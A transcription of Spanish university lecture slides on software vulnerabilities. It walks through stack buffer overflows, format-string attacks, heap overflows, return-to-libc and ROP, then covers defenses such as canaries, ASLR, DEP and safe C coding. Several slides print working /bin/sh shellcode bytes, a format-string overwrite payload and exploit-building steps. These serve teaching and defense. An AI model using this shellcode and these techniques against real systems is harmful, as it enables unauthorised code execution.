Vulnerabilidades en el software
|
|
- Josefina Roldán Benítez
- hace 8 años
- Vistas:
Transcripción
1 Vulnerabilidades en el software Facultad Politécnica UNA Maestría en TICs 2015 Énfasis Auditoría y Seguridad de la Información Seguridad en aplicaciones y base de datos Cristian Cappo (ccappo@pol.una.py) NIDTEC - Núcleo de Investigación y Desarrollo Tecnológico - FPUNA
2 Contenido Los 25 errores más peligrosos en software (Según SANS - Instituto en US especializado en seguridad de la información y ciberseguridad SysAdmin-Audit-Networking-Security) Breve introducción a lenguaje C (en diapositiva separada) Buffer Overflow. Descripción. Defensas Prácticas para desarrollo de software seguro 2
3 25 top errores de SW más peligrosos Categoría: Interacción insegura entre componentes Error al preservar la estructura de la página web(xss) Error al preservar la estructura de la consulta SQL Neutralización impropia en elementos especial usados en comandos del S.O. (OS command injection) Cross Site Request Forgery (CSRF) Subida de archivos peligrosos no restringido Redirección de URL a sitios no confiables (Open Redirect). m 3
4 25 top errores de SW más peligrosos(2) Categoría: Manejo riesgoso de recursos Copia de buffer sin verificar el tamaño (buffer overflow) Limitación impropia de un camino a un directorio restringuido (Path traversal) Descarga de código sin chequeo de integridad Inclusión de funcionalidad desde lugares no confiables Uso de funciones potencialmente peligrosas gets(), strcpy(), strcat(), etc Acceso a buffers con longitudes de tamaño incorrectas Cálculo incorrecto del tamaño del buffer Formato de cadenas no controlado Integer overflow 4
5 25 top errores de SW más peligrosos(3) Categoría: Defensa porosa o insuficiente Olvido de autenticación en funciones críticas Falta de autorización Uso de credenciales fijas Olvido de encriptación en datos sensibles Confianza en entradas no verificadas en una decisión de seguridad Ejecución con privilegios innecesarios Control de acceso indebido (autorización) Uso de un algoritmo criptográfico inseguro o roto Restricción impropia a intentos excesivos de autenticación. Uso de Hash de una dirección sin SALT 5
6 Seguridad en el software Muchas vulnerabilidades resultan de una práctica de programación deficiente Consecuencia de insuficientes validaciones y chequeos de datos y códigos de error Calidad/Confiabilidad en el SW Concerniente con la falla accidental del programa como resultado de aleatoriedad, entrada no anticipada, interacción con el SO o uso de código incorrecto. Se mejora usando técnicas de diseño y testing para eliminar los bugs. Seguridad en el SW: Existe un atacante que utiliza entradas totalmente diferentes a las esperadas. Puede que no se detecten con las técnicas de testing usuales. 6
7 Bug & Exploit Un bug es un lugar donde el comportamiento de la ejecución real puede desviarse del comportamiento esperado. Un exploit es una entrada que dá al atacante una ventaja Método Secuestro del flujo de control (Control Flow Hijack) Denegación de Servicio Descubierta de Informacion Objetivo Ganar el control del puntero de instrucción %eip Causar que el programa se interrumpa o pare de dar servicio Fuga de información privada ej., contraseñas guardadas 7
8 Buffer overflow Una condición que ocurre cuando datos son escritos fuera del espacio destinado al buffer que debe contenerlos. Usualmente con lenguajes de bajo nivel como C y C++. Un programa normal con este bug simplemente aborta y se cancela. Consecuencias: Corrupción de los datos del programa, transferencia inesperada del control de ejecución, violación de acceso a memoria, ejecución de código del atacante. Tipos Basados en Stack Basados en Heap 8
9 Buffer overflow - historia Año Evento 1988 Morris (Robert) Internet Worm. Usó un bof para comprometer una versión vulnerable de fingerd en máquinas VAX. Enviaba una cadena especial al demonio finger, el cual causaba la ejecución de código que creaba una nueva copia. 10% de hosts afectados (del Internet de esa época) 1995 BOF en httpd 1.3 de NCSA descubierto y publicado en bugtraq por Thomas Lopatic 1996 Aleph One publicó Smashing the stack for fun & profit en el magazine Phrack, dando los pasos para explotar los BOF basados en stack CodeRed (motivó la carta de Bill Gates para crear una plataforma de sistemas seguros). Explotó un BOF en el servidor MS IIS máquinas afectadas en 14 horas 2003 SQL Slammer (worm). Explotó un BOF en MS SQL Server máquinas afectadas en 10 minutos Sasser worm. Explotó un BOF en MS Window 2000/XP en el servicio de subsistema de seguridad de autoridad local (Local Security Authority Subsytem service) 2014 BOF descubierto en código del servidor X11 server que estuvo latente en el fuente por 20 años!! 9
10 Buffer overflow tendencia 10
11 Secuestro de flujo de control Siempre Cómputo + Control shellcode (payload) relleno &buf Cómputo + control Inyección de código Return-to-libc Sobreescrita del Heap Return-oriented programming... El mismo principio pero diferentes mecanismos 11
12 Layout de memoria 12
13 Stack frame con funciones P y Q 13
14 Memory layout para Intel x86 0xFFFFFFFF 4GB Línea de comandos & entorno STACK int f() {int x;..} + Metadata Tiempo de ejecución HEAP malloc(sizeof(long)) Tiempo de compilación Datos No inicializados Datos Inicializados static int x; static const int y = 10; Text segment (código) 0x4c2 0x4c1 sub $0x224, %esp push %ecx 0x4bf mov %esp, %ebp 0x x4be.. push %ebp 14
15 Ejecución básica Binario Fetch, decode, execute Código Datos Procesador... Stack File system Heap Memoria del proceso Lectura & Escritura 15
16 Instrucciones asm x86 usuales 16
17 Registros usuales en x86 32 bit 16 bit 8 bit 8 bit Uso %eax %ax %ah %al Acumuladores usados para operaciones aritméticas y operaciones de I/O y ejecutar llamadas de interrupción %ebx %bx %bh %bl Acceso a memoria, paso de argumentos a llamadas del sistema y retorno de valores %ecx %cx %ch %cl Registros de contadores %edx %dx %dh %dl Registro de datos para operaciones aritméticas, llamadas de interrupción y operaciones de I/O %ebp %eip %esi %esp Puntero base que contiene la dirección del actual stack frame Puntero de instrucciones o contador de programa que contiene la dirección de la siguiente instrucción a ser ejecutada Registro de fuente índice de fuente usada como puntero para operaciones de arreglos o cadenas Puntero de Pila que contiene la dirección del tope de la pila 17
18 crecimiento cdecl Por defecto para Linux & gcc (orden de colocación de parámetros en la pila) int orange(int a, int b) Parametros { (llamador) char buf[16]; } int c, d; if(a > b) c = a; else c = b; d = red(c, buf); return d; Stack inicial de orange Creado antes de llamar a red Luego que red haya sido llamado b a return addr caller s ebp locals (buf, c, d 28 bytes if stored on stack) buf c return addr orange s ebp %ebp frame %esp stack 18
19 Proceso de llamada a una función Función llamadora Colocar argumentos en la pila (en orden reverso) Colocar el return address, es decir, la dirección de la instrucción que quieres que se ejecute luego que el control te retorne Saltar a la dirección de la función Función llamada Colocar el %ebp antiguo en la pila Hacer que %ebp sea ahora %esp Push de las variables locales en la Pila Retornando a la función Reasignar el stack frame previo %esp=%ebp ó %ebp=(%ebp) Saltar a la dirección de retorno (return address) %eip = 4(%esp) 19
20 Buffer overflow Qué pasa cuando escribimos fuera del buffer? Según el estándar el programa queda indefinido. void func(char * arg1 ) { char buffer[4]; strcpy(buffer, arg1);.. } int main() { char * msgstr = Authme! ; func(msgstr); } A u t h m e! \0 %ebp %eip &arg1 Buffer Crash!! (segmentation fault) 20
21 void func(char * arg1 ) { int authenticated = 0; } char buffer[4]; strcpy(buffer, arg1); if ( authenticated ).... int main() { } char * msgstr = Authme! ; func(msgstr); A u t h m e! \0 4d %ebp &eip &arg1 buffer authenticated Pasa la validación!! 21
22 Ejemplo básico de vulnerabilidad #include <string.h> int main(int argc, char **argv) { } char buf[64]; strcpy(buf, argv[1]); Desensamblado de la función main: 0x080483e4 <+0>: push %ebp 0x080483e5 <+1>: mov %esp,%ebp 0x080483e7 <+3>: sub $72,%esp 0x080483ea <+6>: mov 12(%ebp),%eax 0x080483ed <+9>: mov 4(%eax),%eax 0x080483f0 <+12>: mov %eax,4(%esp) 0x080483f4 <+16>: lea -64(%ebp),%eax 0x080483f7 <+19>: mov %eax,(%esp) 0x080483fa <+22>: call 0x <strcpy@plt> 0x080483ff <+27>: leave 0x <+28>: ret 22 argv argc return addr caller s ebp buf (64 bytes) argv[1] buf %ebp %esp
23 123456\ #include <string.h> int main(int argc, char **argv) { } char buf[64]; strcpy(buf, argv[1]); Desensamblado de la función main: 0x080483e4 <+0>: push %ebp 0x080483e5 <+1>: mov %esp,%ebp 0x080483e7 <+3>: sub $72,%esp 0x080483ea <+6>: mov 12(%ebp),%eax 0x080483ed <+9>: mov 4(%eax),%eax 0x080483f0 <+12>: mov %eax,4(%esp) 0x080483f4 <+16>: lea -64(%ebp),%eax 0x080483f7 <+19>: mov %eax,(%esp) 0x080483fa <+22>: call 0x <strcpy@plt> 0x080483ff <+27>: leave argv argc return addr caller s ebp buf (64 bytes) argv[1] 0x <+28>: ret 23 buf %ebp %esp
24 AAAA (64 in total) A x68. \xef\xbe\xad\xde #include <string.h> int main(int argc, char **argv) { } char buf[64]; strcpy(buf, argv[1]); Desensamblado de la función main: 0x080483e4 <+0>: push %ebp 0x080483e5 <+1>: mov %esp,%ebp 0x080483e7 <+3>: sub $72,%esp 0x080483ea <+6>: mov 12(%ebp),%eax 0x080483ed <+9>: mov 4(%eax),%eax 0x080483f0 <+12>: mov %eax,4(%esp) 0x080483f4 <+16>: lea -64(%ebp),%eax 0x080483f7 <+19>: mov %eax,(%esp) 0x080483fa <+22>: call 0x <strcpy@plt> 0x080483ff <+27>: leave corrompido sobreescrito sobreescrito argv argc 0xDEADBEEF return addr caller s AAAA ebp buf (64 bytes) argv[1] 0x <+28>: ret 24 buf %ebp %esp
25 Desmontando el Frame - 1 #include <string.h> int main(int argc, char **argv) { } char buf[64]; strcpy(buf, argv[1]); Desensamblado de la función main: 0x080483e4 <+0>: push %ebp 0x080483e5 <+1>: mov %esp,%ebp 0x080483e7 <+3>: sub $72,%esp 0x080483ea <+6>: mov 12(%ebp),%eax 0x080483ed <+9>: mov 4(%eax),%eax 0x080483f0 <+12>: mov %eax,4(%esp) 0x080483f4 <+16>: lea -64(%ebp),%eax 0x080483f7 <+19>: mov %eax,(%esp) 0x080483fa <+22>: call 0x <strcpy@plt> => 0x080483ff <+27>: leave corrompido sobrescrito sobrescrito leave 1. mov %ebp,%esp 2. pop %ebp 0x <+28>: ret 25 argv argc 0xDEADBEEF AAAA %esp y %ebp %esp
26 Desmontando el Frame - 2 #include <string.h> int main(int argc, char **argv) { } char buf[64]; strcpy(buf, argv[1]); Desensamblado de la función main: 0x080483e4 <+0>: push %ebp 0x080483e5 <+1>: mov %esp,%ebp 0x080483e7 <+3>: sub $72,%esp 0x080483ea <+6>: mov 12(%ebp),%eax 0x080483ed <+9>: mov 4(%eax),%eax 0x080483f0 <+12>: mov %eax,4(%esp) 0x080483f4 <+16>: lea -64(%ebp),%eax 0x080483f7 <+19>: mov %eax,(%esp) 0x080483fa <+22>: call 0x <strcpy@plt> 0x080483ff <+27>: leave corrompido sobrescrito leave argv argc 0xDEADBEEF %ebp = AAAA 1. mov %ebp,%esp 2. pop %ebp %esp 0x <+28>: ret 26
27 Desmontando el Frame - 3 #include <string.h> int main(int argc, char **argv) { char buf[64]; strcpy(buf, argv[1]); } corrompido argv argc %esp Desensamblado de la función main: 0x080483e4 <+0>: push %ebp 0x080483e5 <+1>: mov %esp,%ebp 0x080483e7 <+3>: sub $72,%esp 0x080483ea <+6>: mov 12(%ebp),%eax 0x080483ed <+9>: mov 4(%eax),%eax 0x080483f0 <+12>: mov %eax,4(%esp) 0x080483f4 <+16>: lea -64(%ebp),%eax 0x080483f7 <+19>: mov %eax,(%esp) %eip = 0xDEADBEEF (probablemente crash) 0x080483fa <+22>: call 0x <strcpy@plt> 0x080483ff <+27>: leave 0x <+28>: ret 27
28 Inyección de código En el ejemplo anterior dimos una cadena estática pero éstas pueden venir de: Entrada de texto Variables de entorno Paquetes (red) Archivos 28
29 Inyección de código Desafíos Leer mi código en memoria Código de máquina Cuidado para construir (no debe tener \0) Qué código? Un intérprete de línea de comandos (shell) #include <string.h> int main() { } char * name[2]; name[0] = /bin/sh ; name[1] = NULL; execve(name[0],name,null); 29
30 shellcode Shellcode Tradicionalmente, inyectamos código ensamblador para exec( /bin/sh ) en el buffer. argv argc &buf %ebp 0x080483fa <+22>: call 0x080483ff <+27>: leave 0x <+28>: ret 0x <strcpy@plt> argv[1] buf %esp 30
31 Ejecutando una llamada al sistema 1. Colocar execve( /bin/sh, la llamada al sistema 0, 0); en eax 2. arg 1 en %ebx, arg 2 en %ecx, arg 3 en %edx 3. llamar int 0x80* 4. Llamada al sistema con resultado en %eax execve es 0xb addr. en %ebx, 0 en %ecx 31
32 Ejemplo de programa #include <stdio.h> #include <string.h> char code[] = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f" "\x73\x68\x68\x2f\x62\x69\x6e\x89" "\xe3\xb0\x0b\xcd\x80"; int main(int argc, char **argv) { printf ("Shellcode length : %d bytes\n", strlen (code)); int(*f)()=(int(*)())code; f(); } $ gcc -o shellcode -fno-stack-protector -z execstack shellcode.c Autor: kernel_panik, 32
33 Ejecución xor ecx, ecx mul ecx push ecx push 0x68732f2f push 0x6e69622f mov ebx, esp mov al, 0xb int 0x80 ebx esp ecx 0 eax 0x0b Registros 0x0 0x68 0x73 0x2f 0x2f 0x6e 0x69 0x62 0x0 h s / / n i b Shellcode esp 0x2f / Autor: kernel_panik, 33
34 Cómo conozco la dirección? Agregar la instrucción nop y mejoramos nuestra chance. Override %eip %ebp 0xbff nop nop nop \0x31\0xc9\0xf7.. buffer %eip shellcode 34 34
35 Resumen Para generar un exploit para un buffer overflow básico: Determinar el tamaño del stack frame sobre la cabeza del buffer Inundar el buffer con el tamaño correcto &buf padding shellcode cómputo + control 35
36 Otros ataques de memoria El que vimos se llama stack smashing (overflow) Constituye una violación de la integridad y también de la disponibilidad Otros tipos Format String Heap overflow Integer overflow Read overflow Stale memory 36
37 Ataques de cadenas de formato (format strings) Incorrecto int wrong(char *user) { printf(user); } OK int ok(char *user) { printf( %s, user); } No abusar de printf 37
38 Funciones de formateo de cadenas printf(char *fmt,...) especifica número y tipo de argumentos Número variable de argumentos Función printf fprintf sprintf vfprintf syslog setproctitle Propósito Imprime en stdout Imprime en un flujo FILE Imprime en una cadena Imprime en un flujo FILE desde va_list Escribe mensajes a system log sets argv[0] 38
39 Funciones con parámetros variables Son aquellas con aridad indefinida Soportado en muchos lenguajes C C++ Javascript Perl PHP En cdecl, el llamador es responsable de limpiar los argumentos Porqué? 39
40 Ejemplo simple Queremos implementar una función al estilo printf que solo imprime cuando la depuración esta activada void debug(char *key, char *fmt,...) { va_list ap; char buf[bufsize]; } if (!KeyInList(key)) return; va_start(ap, fmt); vsprintf(buf, fmt, ap); va_end(ap); printf( %s, buf); Limpiamos ap es el puntero al argumento Hacer que ap apunte al stack usando el último argumento fijo Llamar a vsprintf con args 40
41 callee caller Diagrama del stack para printf arg n arg 2 arg 1 return addr caller s ebp callee-save locals n-1 mo argumento 1 er argmento (va_list) Especificador de formato Va_list es un puntero al segundo argumento Cada formato especifica el tipo del actual argumento Conocido para hacer el salto al siguiente argumento 41
42 printf caller Ejemplo arg 4 42 arg 3 arg 2 arg 1 return addr caller s ebp callee-save locals Dirección de world Dirección de hello Dirección de %s %s %u char s1[] = hello ; char s2[] = world ; printf( %s %s %u, s1, s2, 42); 42
43 1. int foo(char *fmt) { 2. char buf[32]; 3. strcpy(buf, fmt); 4. printf(buf); 5. } d4 <foo>: 80483d4: push %ebp 80483d5: mov %esp,%ebp 80483d7: sub $0x28,%esp ; allocate 32 bytes on stack 80483da: mov 0x8(%ebp),%eax ; eax := M[ebp+8] - addr of fmt 80483dd: mov %eax,0x4(%esp) ; M[esp+4] := eax - push as arg e1: lea -0x20(%ebp),%eax ; eax := ebp-32 - addr of buf 80483e4: mov %eax,(%esp) ; M[esp] := eax - push as arg e7: call 80482fc <strcpy@plt> 80483ec: lea -0x20(%ebp),%eax ; eax := ebp-32 - addr of buf again 80483ef: mov %eax,(%esp) ; M[esp] := eax - push as arg f2: call c <printf@plt> 80483f7: leave 80483f8: ret 43
44 printf foo Mirando las direcciones return addr caller s ebp 1. int foo(char *fmt) { 2. char buf[32]; 3. strcpy(buf, fmt); => printf(buf); 5. } buf (32 bytes) stale arg 2 arg 1 return addr foo s ebp locals Note: buf esta abajo de printf en el stack, por tanto podemos caminar a el con el especificador correcto Que pasa si fmt es %x%s? 44
45 sprintf foo Overflow por el formateo de cadena return addr caller s ebp buf (32 bytes) arg 2 arg 1 return addr foo s ebp locals char buf[32]; sprintf(buf, user); Sobreescribir la dirección de retorno %36u\x3c\xd3\xff\xbf<nops><shellcode> Escribir 36 digitos decimales sobreescribiendo buf y el ebp del llamador Shellcode con nop(no operation) 45
46 Resumen de ataque por formato de cadena Usar un especificador de formato a fin de caminar por el stack hasta conseguir el formato adecuado. Usar el especificador para codificar la dirección Dos formas de sobreescribir: Usando %n (número de bytes escritos hasta aquí y lo deja en un parámetro) Usando sprintf para un overflow básico 46
47 Heap overflow Localizado usualmente bajo el código del programa. Relacionado al uso de estructura de datos dinámica No existe dirección de retorno Defensas: Hacer que heap no ejecutable Aleatorización de la asignación de memoria en el heap. 47
48 Heap overflow (ejemplo) typedef struct_vuln_struct { char buff[max_len]; int (*cmp) (char *, char *); } vuln; /* antes se hizo vuln * t = malloc(sizeof(vuln) );.. foo(t,..,.. );.. */ int foo ( vuln * s, char * one, char * two ) { strcpy(s->buff, one); strcat(s->buff, two); return s->cmp(s->buff, file://archivo ); } vulnerabilidad => strlen(one) + strlen(two) < MAX_LEN 48
49 Variantes de Heap overflow C++: Overflow sobre el objeto vtable que contiene los punteros a métodos padres. Overflow en objetos adyacentes No precisamente el buffer esta con un puntero a función pero es asignado cerca de uno en el heap. Overflow sobre metadatos (por ejemplo en estructura de datos). 49
50 Otros overflow Integer overflow Pueden llenar datos para: Modificar clave secreta, el estado de una variable, cadena que pueden ser interpretadas por otros programas. Read overflow Leer más allá del buffer, por ejemplo buscando claves Heartbleed (2014): servidores en Internet. Podían leer más allá del tamaño recibido y así obtener el contenido pasado del buffer(passwords, claves criptográficas, etc) Stale memory Utilizar un puntero que ya fue liberado (desreferenciar un puntero peligroso) Internet Explorer (2010): Ver boletin Link: 50
51 Return-to-libc Shellcode sin inyección de código 51
52 Ejemplo: Ataque de return-to-libc ret transfiere el control a system, el cual encuentra argumentos en el Stack Sobreescribir el return address con la dirección de una función en libc Configurar el ret. add. y los argumentos ret llamará a una función en libc No hay inyección de código ptr a argv /bin/sh argc return addr &system caller s ebp buf (64 bytes) argv[1] buf %ebp %esp 52
53 Defensas contra ataques de bajo nivel Cuestiones comunes en estos ataques Control de algunos datos usados por el programa Estos datos permiten acceso no intencional a alguna área de la memoria en el programa Memoria segura y tipo seguro Propiedades que si son satisfechas asegura que una aplicación es inmune a ataques de memoria. C y C++ no son de memoria segura por defecto. Defensas automáticas Canarios de Pila (stack canaries) ASLR (Address Space Layout Randomization) Ataque de ROP (return-oriented-programming) Defensa: Control de Integridad de Flujo (CFI) Codificación Segura 53
54 Memoria segura Solo crea punteros a través de formas estándar p = malloc(), p = &x, p = &buf[5], etc, Solo usa un puntero para acceder a memoria que pertenece al puntero. Dos conceptos asociados: Seguridad temporal. Seguridad espacial. 54
55 Seguridad espacial Se accede solo a lo que le pertenece al puntero Un puntero tiene tres propiedades (p, b, e) p = es el puntero actual b = es la base de la región de memoria que puede acceder e = es la extensión o límite de la región El acceso es permitido si b <= p <= e sizeof(tipo(p)) 55
56 Seguridad espacial Ejemplo 1 int x ; // sizeof(int) = 4 int * y = &x; // p = &x b=&x e=&x+4 int * z = y + 1; // p = &x+4 b=&x e=&x+4 *y = 3; // OK &x <= &x <= (&x+4)-4 *z = 3; // Mal &x <= &x+4 <= (&x+4)-4 56
57 Seguridad espacial Ejemplo 2 struct foo { char buf[4]; int x; } struct foo f = { cat, 5}; char * y = &f.buf; // p=b=&f.buf, e=&f.buf+4 y[3] = s ; // Ok p=&f.buf+3 <= (&f.buf+4)-1 y[4] = y ; // Mal p=&f.buf+4 <= (&f.buf+4)-1 57
58 Seguridad temporal Una violación a la seguridad temporal ocurre cuando se trata de acceder a memoria indefinida La seguridad espacial: Asegura que fue en una región legal La seguridad temporal Asegura que esa región es aún válida Memoria definida o indefinida Definida: significa asignada Indefinida: significa desasignada, no inicializada o no asignada. 58
59 Seguridad temporal (ejemplo) Usar un puntero ya liberado, retornar un puntero de una variable local. // puntero usado cuando ya no es válido int * p = malloc(sizeof(int)); *p = 5; free(p); printf( %d\n, *p); // puntero utilizado y no fue inicializado int * z ; *z = 5; 59
60 Memoria segura Los lenguajes modernos son de memoria segura y también de tipo seguro (Java, Python, Go, etc) Progreso para C/C++ CCured(2004): 1.5x más lento No chequea en librerías Compilador rechaza muchos programas seguros Softbound/CETS(2010): 2.16x más lento Completo chequeo Flexible A nivel de HW Intel MPX (feb/2015) Soporta chequeo mucho más rápido, registros con límites de punteros 60
61 Tipo seguro Cada objeto tiene asociado un tipo (int, puntero a int, puntero a función, etc) Operaciones en un objeto son siempre compatibles con el tipo del objeto Programas de tipo seguro no fallan en tiempo de ejecución. Tipo seguro es más fuerte que Memoria segura int (*cmp) (char *, char*); int * p = (int *) malloc (sizeof(int)); *p = 1; cmp = (int(*) (char *, char*)) p; cmp( hola, que tal ); Es de memoria segura pero no de tipo seguro 61
62 Tipo seguro Lenguajes de tipeo dinámico como Ruby o Python son de tipo seguro. Cada objeto tiene un solo tipo = Dinámico Cada operación en un objeto dinámico es permitido pero puede NO esta implementado Entonces ocurre una excepción!! Y esto es mucho mejor que dejar que se igual se continue!! 62
63 Tipos por seguridad Puede relacionar directamente a propiedades de seguridad. Se colocan invariantes en el programa Ejemplo: Java with Information Flow (JIF) //Alice es dueño, Bob puede leer int {Alice->Bob} x; // Alice y Chuck es dueño, Bob puede leer int {Alice->Bob, Chuck} y; x = y; // Ok y = x; // Mal 63
64 Tipo seguro Porqué no todos son de tipo seguro? Por cuestiones de performance sobre todo Hacia el futuro Nuevos lenguajes ayudarían a mantener iguales prestaciones de C y C++ pero siendo de tipo seguro Google => Go Mozilla => Rust Apple => Swift Podrían ser el futuro de la programación a bajo nivel. 64
65 Evitando los exploits Qué hacemos mientras C se vuelva de memoria segura? Dos defensas básicas Hacer que la explotación sea difícil Considerando los pasos, hacer que uno o más sean difíciles o imposibles. Evitar el bug por completo Prácticas de codificación segura Revisión de código / Testing por seguridad (análisis estáticos, dinámicos, test de penetración, etc) Estrategias son complementarias Evitar bugs pero agregar protección IDEA ya vista en el proceso de desarrollo software seguro 65
66 Recordando el stack smashing Pasos: Colocar código de máquina en memoria (sin bytes nulos) Obtener el %eip y apuntar el código de ataque Encontrar la dirección de retorno Cómo hacer estos pasos más dificultosos para el atacante? Mejor caso: cambiar librerías, compilador y S.O. No cambio el código El cambio/arreglo está en la arquitectura de diseño y no en el código 66
67 Primera técnica: Canarios Historia (porqué canarios?) Override %eip text %ebp %eip &arg1 &arg2 buffer Canario de stack Si el ataque sobreescribe el buffer también lo hace con el canario. En este caso se verifica el valor y sino coinciden se aborta Valor del canario: randómico usualmente. Protejo la colocación de código en el stack 67
68 Stack smashing (pasos) Pasos Colocar código de máquina en memoria (sin bytes nulos) Canarios Obtener el %eip y apuntar el código de ataque Defensa: hacer que el stack (y el heap)no sean ejecutables DEP (Data Execution Prevention) Linux, OS X, MS, ios, Android NX bit (No-Execute) XD (Executable disable) Intel EVP (Enhanced Virus protection) AMD XN (Execute Never) ARM 68
69 Defensa contra escritura de %eip ASLR (Address Space Layout Randomization) Randómicamente colocar librerías estándar y otros elementos en memoria, haciendo difícil de adivinar También previene encontrar el valor de retorno y el ataque return-to-libc Disponible en los S.O. modernos Linux (2004) OpenBSD (2006) Windows (2007) Mac OS (2007 => para librerias 2011 => para cualquier programa) Android (2012) IOS (2011) No todo es perfecto Solo desplaza el inicio(offset) de las áreas de memoria y no las localizaciones dentro de ellas Solo para librerías y a veces para programas (depende del compilador) Necesidad de suficiente aleatoriedad Se mostró que un ataque por fuerza bruta puede tener éxito. En 216 segundos en promedio se logró romper la defensa en un HW del Un HW de 64 bits puede proveer más seguridad 69
70 Como evito la protección ASLR Defensa: evitar uso de libc completamente Respuesta: Construir la funcionalidad necesaria con código que se encuentra en el área de text ROP (Return oriented programming) 70
71 ROP Inventada en 2007 por Hovav Shacham (paper académico) Idea: antes de usar una función de libc para ejecutar el shellcode, concatenar piezas de código existentes llamadas gadgets. Un gadget es una secuencia de instrucción que termina con al instrucción ret. La pila sirve como el código %esp : apunta al programa Un gadget invocado via ret Un gadget toma sus argumentos vía pop Cómo puedo encontrar un gadget para construir un exploit? Automatizar la búsqueda en el binario: https//github.com/0vercl0k/rp Son suficientes para hacer algo interesante? Shacham encontró código significante para libc (Turing Completo) E. Schwart (USENIX Security 2011) automatizó la creación de shellcode basado en gadgets Link 71
72 Blind ROP La aleatorización de la ubicación del código en una máquina de 64 bits hace que el ataque muy difícil. Respuesta: blind ROP Introducido en 2014 en IEEE Security Conference Permite escribir el exploit sin poseer el binario Requiere de un stack overflow y un servicio que se restaure luego del crash. Se basa en que los servidores generan un nuevo proceso luego del crash, sin aleatorización (por ejemplo el servidor nginx). Más información en 72
73 Resumen ataques y defensas 73
74 Detección de comportamiento malicioso Observar el comportamiento de un programa. Si no esta haciendo lo esperado entonces puede estar comprometido Desafíos Definir el comportamiento esperado Detectar desviaciones eficientemente Evitar que el detector se vea comprometido Control Flow Integrity (CFI) permite esto Componentes Control Flow Graph (CFG) Inline Reference Monitor (IRM) Inmutabilidad 74
75 Control Flow Integrity CFI clásico -> % de overhead en promedio 45% de overhead en el peor caso No modular (sin soporte de librerías dinámicas) Modular CFI (2014) 5% overhead en promedio 12% overhead en el peor caso Puede eliminar 95.75% de gadgets ROP Modular con compilación separada Drawback: solo C (LLVM compiler Link) Referencia de CFI (2005): Control Flow Integrity.Principles, Implementations and Applications 75
76 Código seguro en C Referencias/Guías: SEI CERT C Coding standard +CERT+C+Coding+Standard Incluye otros lenguajes C++, Java, Perl. Secure Programming HOWTO. David Wheeler Matt Bishop. Robust Programming Combinar con revisión de código y testing. 76
77 Regla: forzar la conformidad de la entrada char digit_to_char(int i) { char convert[] = ; if ( i < 0 i > 9 ) return? ; Conformidad de la entrada } return convert[i]; Buffer overflow Confiar en la entrada recibida es una fuente recurrente de vulnerabilidades 77
78 Regla: Mejor lanzar una excepción que ejecutar código malicioso Principio: Codificación robusta 78
79 Funciones comunes en C que son inseguras Función gets( char * str) sprintf(char * str, char * format, ) strcat(char * dest, char * src) strcpy(char * dest, char * src) Descripción Lee una línea de la entrada estándar en str Crea str de acuerdo al formato y variables Concatena el contendido de src a dest Copia src a dest vsprintf(char * str, char * fmt, va_list ap) Crea str de acuerdo al formato y variables 79
80 Reglas: Usar funciones de cadenas seguras strcpy => strlcpy strcat => strlcat strncat => strlcat strncpy => strlcpy sprintf => snprintf vsprintf => vsnprintf gets => fgets No olvidar terminador NUL Entender la aritmética de punteros Defensa contra punteros peligrosos Usar NULL luego de free() Manejar la memoria apropiadamente Usar librerías seguras Usar un asignador de memoria seguro (diferente a malloc seguramente) 80
81 Ejercicio #1 Dado el siguiente código, completar con la dirección apropiada del shellcode considerando una máquina de 32 bits. char shellcode[]= \x31\xc0 \x50 \x68 //sh \x68 /bin \x89\xe3 \x50 \x53 \x89\xe1 \x99 \xb0\x0b \xcd\x80 ; int function(){ } int * ret = (*ret) = (int) shellcode; int main() { function(); } 81
82 Ejercicio #2 Qué esta mal en este código? Cuál es el potencial problema de seguridad que encuentra? #define MAX_BUF 256 void BadCode(char * input ) { short len; char buf[max_buf]; len = strlen(input); } if ( len < MAX_BUF ) strcpy(buf, input); 82
83 Bibliografía/Referencias CWE/SANS Top 25 most dangerous software errors ( y cwe.mitre.org/top25) Belk M. et al. Fundamentals Practices for Secure Software Development. SAFECode 2 nd Edition W. Stalling & L. Brown. Computer Security. Principles and Practices. 2 nd Edition. Pearson Educ. Inc M. Howard, D. LeBlanc y J. Viega. 19 puntos críticos sobre seguridad de software. McGraw Hill.2007 Referencias puestas en cada diapositiva. 83
84 Gracias! Preguntas? 84
Entorno de Ejecución del Procesador Intel Pentium
Arquitectura de Ordenadores Arquitectura del Procesador Intel Pentium Abelardo Pardo abel@it.uc3m.es Universidad Carlos III de Madrid Departamento de Ingeniería Telemática Entorno de Ejecución del Procesador
Más detallesCurso: (62612) Diseño de aplicaciones seguras
Curso: (62612) Diseño de aplicaciones seguras Fernando Tricas García Departamento de Informática e Ingeniería de Sistemas Universidad de Zaragoza http://webdiis.unizar.es/~ftricas/ http://moodle.unizar.es/
Más detallesIntroduccion al Lenguaje C. Omar Andrés Zapata Mesa Grupo de Fenomenología de Interacciones Fundamentales, (Gfif) Universidad de Antioquia
Introduccion al Lenguaje C Omar Andrés Zapata Mesa Grupo de Fenomenología de Interacciones Fundamentales, (Gfif) Universidad de Antioquia Introducción C es un lenguaje de programación creado en 1972 por
Más detallesEl lenguaje de Programación C. Fernando J. Pereda <ferdy@gentoo.org>
El lenguaje de Programación C Fernando J. Pereda Por qué aprender C? Portable y muy extendido Estándar (C89, C99) El lenguaje de los sistemas Un lenguaje fácil (no, no es broma) Por
Más detallesSOLUCION EXAMEN junio 2006
SOLUCION EXAMEN junio 2006 1. Explique razonadamente si las siguientes afirmaciones son verdaderas o falsas: I) (1 p) En UNIX únicamente se distinguen dos tipos de procesos: los procesos de usuario y los
Más detallesCapítulo 1 Introducción a la Computación
Capítulo 1 Introducción a la Computación 1 MEMORIA PRINCIPAL (RAM) DISPOSITIVOS DE ENTRADA (Teclado, Ratón, etc) C P U DISPOSITIVOS DE SALIDA (Monitor, Impresora, etc.) ALMACENAMIENTO (Memoria Secundaria:
Más detalles7. Manejo de Archivos en C.
7. Manejo de Archivos en C. Los datos que hemos tratado hasta el momento han residido en la memoria principal. Sin embargo, las grandes cantidades de datos se almacenan normalmente en un dispositivo de
Más detallesMANUAL DE USUARIO. Webservice simple para la exportación rápida de información proveniente de una base de datos. Versión 0,1,1
MANUAL DE USUARIO Webservice simple para la exportación rápida de información proveniente de una base de datos Versión 0,1,1 Jorge Iván Meza Martínez INTRODUCCIÓN Esta aplicación permite
Más detallesObjetivo: Introducción conceptual y aplicación básica de los lenguajes del lado del servidor.
Sesión 03: Lenguajes web del servidor Competencias a Conseguir: - Conocer el entorno de trabajo a nivel de servidores web. - Instalación del localhost (Servidor Local). - Repaso general de PHP y ejercicios
